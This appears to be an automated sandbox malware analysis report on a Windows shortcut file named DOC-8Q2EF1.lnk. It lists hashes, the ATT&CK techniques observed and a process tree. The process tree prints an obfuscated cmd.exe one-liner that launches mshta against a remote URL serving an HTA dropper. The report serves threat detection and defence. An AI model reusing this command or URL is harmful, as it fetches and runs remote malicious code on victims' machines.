4283e92aba64e37716bdc30a328c8916b240ddd40265a8543b03599a022828f1

Analysis

max time kernel
60s
max time network
23s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 10:32

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General

Target
DOC-8Q2EF1.lnk
Size 1KB
Sample260818-mlarea1zcs
SHA256 4283e92aba64e37716bdc30a328c8916b240ddd40265a8543b03599a022828f1
MD5 89c9cfa53da2376b6c22278fa2f3d4b4
SHA1 c778fe1184c44f998d9289f48ea420016ba00b97
SHA512 bd477b7311a2cd12675661c89454f09161e89c844b19fb2668748bec24c8173c4e4d8ee1ddb9e040363bac94a318bc8f6dc9e25b934ce998e00a5bbc53a8b7db
TLSH
T108319C403FED0624F3B38F7398BB571485BBB8558D20C71E4080454D5022A15E23AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6132	cmd.exe
2140	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 6132 wrote to memory of 2140	6132	cmd.exe	91
PID 2140 wrote to memory of 2388	2140	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-8Q2EF1.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6132
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set tzbRK=msh&&set lVMnN=ta&&start "" !tzbRK!!lVMnN! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2388

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads